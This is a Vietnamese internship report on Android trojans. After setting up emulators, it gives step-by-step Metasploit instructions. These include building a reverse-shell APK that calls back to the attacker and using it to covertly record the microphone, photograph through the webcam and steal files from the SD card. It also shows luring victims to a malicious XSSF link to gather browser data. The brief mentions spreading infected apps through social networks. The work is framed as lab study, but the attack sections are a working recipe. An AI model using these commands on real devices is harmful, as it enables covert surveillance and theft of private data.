Page 1
BÁO CÁO THỰC TẬP
August 16, 2014
Page 1
BÁO CÁO ĐỀ TÀI THỰC TẬP
ĐỀ TÀI: NGHIÊN CỨU CÁC TROJAN, MALWARE CHO PHÉP
ĐÁNH CẮP, SẮP XẾP DỮ LIỆU NHƯ DANH BẠ, TIN NHẮN
TRÊN ĐIỆN THOẠI SỬ DỤNG ANDROID VÀ GỬI RA NGOÀI.
GIÁO VIÊN HƯỚNG DẪN: THẦY VÕ ĐỖ THẮNG
SINH VIÊN THỰC HIỆN: PHAN LÝ TRÚC ANH
BÁO CÁO TUẦN 3-4 (4/08/2014 – 17/08/2014)
Page 2
BÁO CÁO THỰC TẬP
August 16, 2014
Page 2
Nội dung:
1. Tên đề tài: Nghiên cứu các trojan, malware cho phép đánh cắp, sắp xếp dữ liệu
như danh sách contact, tin nhắn trên điện thoại sử dụng android và gửi ra
ngoài.
2. Yêu cầu:
Phần 1: Thực hiện đối với mạng LAN (có kết nối wifi)
1.1 Nghiên cứu hệ điều hành Kali Linux. Cài đặt Kali Linux (hoặc Back Track)
1.2 Nghiên cứu cơ chế tạo mã độc trên Kali Linux nói riêng và Android nói
chung.
1.3 Nghiên cứu cách tích hợp mã độc vào các phần mềm và quảng bá qua
mạng xã hội.
1.4 Thực hiện khai thác data trong thẻ sd card, camera của smartphone.
Phần 2: Thực hiện trên môi trường Virtual Private Server – VPS (server có
internet)
2.1 Cài đặt autosploit trên VPS.
2.2 Tạo mã độc trên VPS.
2.3 Cho phép xâm nhập vào android1, android2, android3… gửi data từ các
android về VPS.
Page 3
BÁO CÁO THỰC TẬP
August 16, 2014
Page 3
I - MÁY ẢO ANDROID TRÊN PHẦN MỀM GENYMOTION VÀ
VIRTUALBOX
Phần mềm Genymotion và VirtualBox cho phép ta tạo máy ảo chạy
android (có thể là smartphone, tablet…).
Thông qua các máy ảo này ta có thể nghiên cứu cách tích hợp mã độc vào
thiết bị chạy android.
1. Các Tools cần thiết để cài đặt:
- Phần mềm Virtual Box.
- Phần mềm Genymotion.
- Bộ công cụ phát triển Java SE Development Kit.
- Bộ công cụ Android SDK Manager.
2. Tải và cài đặt JDK – Java SE Development Kit:
Bước 1: Tải JDK tại
http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-
1880260.html
Click chọn “Accept License Agreement”
Chọn phiên bản phù hợp với máy tính. Ở đây ta chọn Windows x64
Bước 2: Sau khi tải về, ta tiến hành cài đặt như nhiều phần mềm khác qua các lựa
chọn Next. Cuối cùng click Close
Page 4
BÁO CÁO THỰC TẬP
August 16, 2014
Page 4
Bước 3: Để kiểm tra lại việc cài đặt JDK. Ta mở cmd.exe
Gõ lệnh “java <Enter>”.
Page 5
BÁO CÁO THỰC TẬP
August 16, 2014
Page 5
3. Tải về và cài đặt Android SDK Manager:
Bước 1: Tải về tại link http://developer.android.com/sdk/index.html
Click vào I have read and agree… và chọn phiên bản 64-bit
Click Download
Bước 2: Giải nén file vừa tải về. Chạy SDK Manager.exe
Lưu ý là có thể gặp lỗi Fetching https://dl-sll... Failed to fetch… Close
thông báo này lại.
Xuất hiển cửa sổ Choose Packages to Install. Nếu cửa sổ này rỗng >
Cancel
Quay về cửa sổ Android SDK and AVD manager > Settings > Tick vào ô
Force https://...
Nếu không bị lỗi này, thì sẽ xuất hiện cửa sổ Android SDK Manager
Ta chọn các Packages muốn cài. Và Install
Page 6
BÁO CÁO THỰC TẬP
August 16, 2014
Page 6
Bước 3: Tại cửa sổ Choose Packages to Install > Tick vào Accept License >
Install > Chờ hoàn tất.
Page 7
BÁO CÁO THỰC TẬP
August 16, 2014
Page 7
4. Tải về và cài đặt phần mềm tạo máy ảo VirtualBox:
Ta có thể bản VirtualBox phù hợp với máy của bạn.
- Bước 1: Ta tải về file cài đặt VirtualBox tại trang:
http://www.oracle.com/technetwork/server-
storage/virtualbox/downloads/index.html
Bước 2: Sau khi tải về, ta tiến hành cài đặt như nhiều phần mềm khác:
Bước 3: Next > Next > Next > Install > Finish
Page 8
BÁO CÁO THỰC TẬP
August 16, 2014
Page 8
Bước 4: Giao diện phần mềm sau khi cài đặt xong.
5. Tải về và cài đặt ứng dụng Genymotion:
Bước 1: Trước khi bắt đầu, ta cần có 1 tài khoản trên web www.genymotion.com
Ta có thể đăng ký miễn phí và tải Genymotion về máy.
Bước 2: Bắt đầu cài đặt phần mềm Genymotion. Ta lựa chọn ngôn ngữ cài đặt >
OK > Next
Bước 3: Chọn thư mục lưu cài đặt.
Page 9
BÁO CÁO THỰC TẬP
August 16, 2014
Page 9
Bước 4: Next > Next > Install > Finish
Bước 5: Mở Genymotion vừa cài đặt xong. Ta vào thiết đặt 1 số thông số ở mục
Settings
Page 10
BÁO CÁO THỰC TẬP
August 16, 2014
Page 10
Bước 6: Nhập Username và Password mà bạn đã đăng ký trên web
www.genymotion.com ở thẻ General
Bước 7: Ở thẻ ADB > chọn Use custom Android SDK tools > Browser đường
dẫn đến thư mục sdk trong thư mục mà ta đã tải Android SDK Manager. Sau đó
lưu lại cài đặt.
F:\ Soft\adt-bundle-windows-x86_64-20140702\sdk
Page 11
BÁO CÁO THỰC TẬP
August 16, 2014
Page 11
6. Tạo máy ảo chạy Android trên Genymotion kết hợp VirtualBox:
Bước 1: Ta mở Genymotion lên để tạo máy ảo. Vào Add
Bước 2: Chọn tên thiết bị mà muốn làm máy ảo.
Xuất hiện cấu hình máy ảo sắp tạo:
Page 12
BÁO CÁO THỰC TẬP
August 16, 2014
Page 12
Bước 3: Next > Đợi máy ảo tự động tải về từ web và Finish quá trình tạo máy ảo.
Bước 4: Để khởi động máy ảo vừa tạo ta chọn máy ảo > Play
Bước 5: Giao diện máy ảo Google Nexus 7 vừa tạo thành công.
Page 13
BÁO CÁO THỰC TẬP
August 16, 2014
Page 13
Page 14
BÁO CÁO THỰC TẬP
August 16, 2014
Page 14
II – TẠO MÃ ĐỘC TRÊN MÁY KALI LINUX VÀ TẤN CÔNG VÀO THIẾT BỊ
ANDROID:
1. Các công cụ cần thiết:
Để thực hiện tạo mã độc và tấn công vào thiết bị Android ta cần chuẩn bị:
- Máy chạy hệ điều hành Linux phiên bản Kali (hoặc Back Track). Ở đây dùng
VMware để tạo máy ảo Kali (đã được hướng dẫn cách làm).
- Thiết bị chạy Android ảo. Ở đây dùng Genymotion kết hợp VirtualBox để tạo
tablet chạy Android 4.3.
- Cả 2 thiết bị đều có thể kết nối mạng.
- Có tài khoản email để gửi và nhận file trên cả 2 thiết bị.
2. Tiến trình:
Bước 1: Khởi động máy tấn công Kali Linux và thiết bị nạn nhân Android.
Thiết đặt card mạng cho máy tấn công Kali để đảm bảo kết nối được
internet.
Vào Edit > Virtual Network Editor…
Tại VMnet0 > Chọn Type là Bridged > Chọn card mạng của máy thật ở
ô Bridged to.
Page 15
BÁO CÁO THỰC TẬP
August 16, 2014
Page 15
Bước 3: Kiểm tra IP của máy tấn công Kali bằng lệnh : “ifconfig”
Bước 4: Tạo 1 file chứa mã độc và gửi cho thiết bị Android. Ở đây ta tạo file ứng
dụng *.apk và gửi qua email.
Page 16
BÁO CÁO THỰC TẬP
August 16, 2014
Page 16
Nhập lệnh: “msfpayload android/meterpreter/reverse_tcp lhost=<địa
chỉ IP máy tấn công> lport=<địa chỉ port> R > <địa chỉ lưu lại> / <tên
file>”
Ví dụ lệnh là: msfpayload android/meterpreter/reverse_tcp lhost=192.168.149.136
lport=8080 R > /root/Desktop/appsX.apk.
- Tạo ứng dụng ReverseTCP có trên file là appsX.apk.
- Địa chỉ IP máy tấn công là 192.168.149.136.
- Địa chỉ Port là 8080 (Lưu ý tránh sử dụng các port thông dụng từ 0 đến 1023).
- Lưu file tại Desktop.
Bước 5: Khởi động ứng dụng Metasploit trên máy tấn công Kali bằng lệnh:
“msfconsole”
Bước 6: Sau đó ta set các payload, lhost, lport bằng các lệnh:
“set payload android/meterpreter/reverse_tcp”
“set lhost 192.168.149.136”
“set lport 8080”
Page 17
BÁO CÁO THỰC TẬP
August 16, 2014
Page 17
Bước 7: Thực hiện lệnh “exploit” để bắt đầu quá trình tấn công.
Bước 8: Tại thiết bị Android, sau khi tải về và cài đặt file appsX.apk, ta được ứng
dụng MainActivity. Khởi động lên và nhấp vào ReverseTCP.
Page 18
BÁO CÁO THỰC TẬP
August 16, 2014
Page 18
Khi đó trên Kali ta nhận được thông báo có thiết bị truy cập vào làm nạn nhân.
Bước 9: Dùng lệnh “help” để liệt kê các lệnh mà ta có thể thực hiện được.
Page 19
BÁO CÁO THỰC TẬP
August 16, 2014
Page 19
3. Khai thác thông tin hê thống:
Xem thông tin hệ thống bằng lệnh “sysinfo”.
4. Ghi âm lén:
Ghi âm lén ở thiết bị nạn nhân Android và lưu về máy tấn công Kali bằng lệnh
“record_mic”.
File ghi âm được là xLijsRbg.wav lưu tự động ở /root của máy Kali.
5. Khai thác webcam và chụp ảnh lén:
Kiểm tra danh sách webcam của thiết bị nạn nhân Android và thực hiện chụp ảnh
lén, lưu về máy tấn công Kali bằng lệnh “webcam_list” và “webcam_snap <mã
webcam>”.
Page 20
BÁO CÁO THỰC TẬP
August 16, 2014
Page 20
File ảnh chụp được là FRumITki.jpeg lưu tự động ở /root của máy Kali .
6. Khai thác file hệ thống của máy nạn nhân:
Kiểm tra các file hệ thống đang hoạt động bằng lệnh “ps”.
Page 21
BÁO CÁO THỰC TẬP
August 16, 2014
Page 21
7. Khai thác dữ liệu từ SDCARD:
Di chuyển vào bộ nhớ SDCARD bằng lệnh “cd /sdcard”.
Dùng lệnh “ls” để liệt kê danh sách các thư mục/tập tin có trong SDCARD.
Xem các tập tin mà máy nạn nhân đã tải về qua lệnh di chuyển thư muc “cd
Download” và lệnh liệt kê “ls”.
Đánh cắp và tải về tập tin bất kì bằng lệnh “download <tên tập tin>”.
Ở đây dùng lệnh “download appsX.apk”.
Tập tin appsX.apk vừa đánh cắp về được lưu tự động trong /root của máy tấn
công Kali.
8. Kết thúc tấn công:
Dùng lệnh “exit” để thoát khỏi Metasploit và kết thúc quá trình tấn công.
Page 22
BÁO CÁO THỰC TẬP
August 16, 2014
Page 22
III – TẤN CÔNG VÀO THIẾT BỊ ANDROID THÔNG QUA LIÊN KẾT CHỨA
MÃ ĐỘC:
1. Các công cụ cần thiết:
Để tấn công vào thiết bị Android thông qua liên kết chứa mã độc ta cũng cần
chuẩn bị như tấn công bằng file mã độc ở trên:
- Máy chạy hệ điều hành Linux phiên bản Kali (hoặc Back Track). Ở đây dùng
VMware để tạo máy ảo Kali (đã được hướng dẫn cách làm).
- Thiết bị chạy Android ảo. Ở đây dùng Genymotion kết hợp VirtualBox để tạo
tablet chạy Android 4.3.
- Cả 2 thiết bị đều có thể kết nối mạng.
- Có tài khoản email để gửi và nhận thông tin liên kết trên cả 2 thiết bị.
2. Tiến trình:
Bước 1: Khởi động máy tấn công Kali Linux và thiết bị nạn nhân Android.
Bước 2: Ở máy Kali > Mở Terminal > thực hiện 3 lệnh sau để cập nhật
Framework
“msfupdate”
“cd /opt/metasploit/apps/pro/msf3”
“svn export http://xssf.googlecode.com/svn/trunk/ ./ --force”
Bước 3: Khởi động Metasploit bằng lệnh “msfconsole”
Page 23
BÁO CÁO THỰC TẬP
August 16, 2014
Page 23
Bước 4: Vào XSSF bằng lệnh “load xssf Port=80 Uri=/xssf/ Public=true
Mode=Verbose”
Bước 5: Thực hiện lệnh “xssf_urls”
Ta nhận được các urls (đường dẫn web http) như của XSSF Server, XSSF test
page, XSSF logs page…
Page 24
BÁO CÁO THỰC TẬP
August 16, 2014
Page 24
Bước 6: Cho máy nạn nhân truy cập vào đường dẫn XSSF test page:
http://192.168.149.136:80/xssf/test.html
Ta nhận được thông báo trên máy tấn công Kali:
3. Kiểm tra số lượng nạn nhân đang truy cập vào đường dẫn mã độc:
Ta dùng lệnh “xssf_victims” để kiểm tra số lượng nạn nhân truy cập vào đường
dẫn mã độc http://192.168.149.136:80/xssf/test.html
4. Xem thông tin về nạn nhân đang truy cập:
Dùng lệnh “xssf_information <ID máy nạn nhân>”
Ở đây ví dụ là “xssf_information 1”
Page 25
BÁO CÁO THỰC TẬP
August 16, 2014
Page 25
5. Khai thác dữ liệu từ máy nạn nhân:
Đầu tiên ta dùng lệnh “search auxiliary/xssf” để kiểm tra các quyền mà ta có
thể thao tác lên máy nạn nhân
Gửi Thông báo XSSF đến máy nạn nhân qua lệnh:
“use auxiliary/xssf/public/misc/alert”
“run”
Page 26
BÁO CÁO THỰC TẬP
August 16, 2014
Page 26
Ở máy nạn nhân sẽ nhận được cảnh báo XSSF
Thoát ra msf bằng lệnh “Ctrl+C” > “back”
Kiểm tra xem nạn nhân có truy cập vào các trang web thông dụng hay không
bằng lệnh:
“use auxiliary/xssf/public/misc/visited_pages”
“run”
Cài đặt 1 đường dẫn mới và qua đó kiểm tra thông tin máy nạn nhân lần nữa:
“use auxiliary/gather/android_htmlfileprovider”
“set SRVPORT 87”
“set URIPATH /”
“run”
Page 27
BÁO CÁO THỰC TẬP
August 16, 2014
Page 27
Chờ nạn nhân truy cập vào đường dẫn mới http://192.168.149.136:87/
Ta nhận được thông tin máy nạn nhân:
6. Thoát khỏi XSSF của Metasploit:
Để thoát khỏi ta thực hiện các lệnh: “Ctrl + C” > “back” > “exit” > “exit”
Page 28
BÁO CÁO THỰC TẬP
August 16, 2014
Page 28
IV – NGUỒN THAM KHẢO
http://www.oracle.com/technetwork/server-
storage/virtualbox/downloads/index.html
http://www.genymotion.com/
http://developer.android.com/sdk/index.html#download
http://www.oracle.com/technetwork/java/javase/downloads
http://www.whitehat.vn/threads/
Giáo trình khóa học System Hacking – Trung tâm đào tạo ATHENA –
www.Athena.Edu.Vn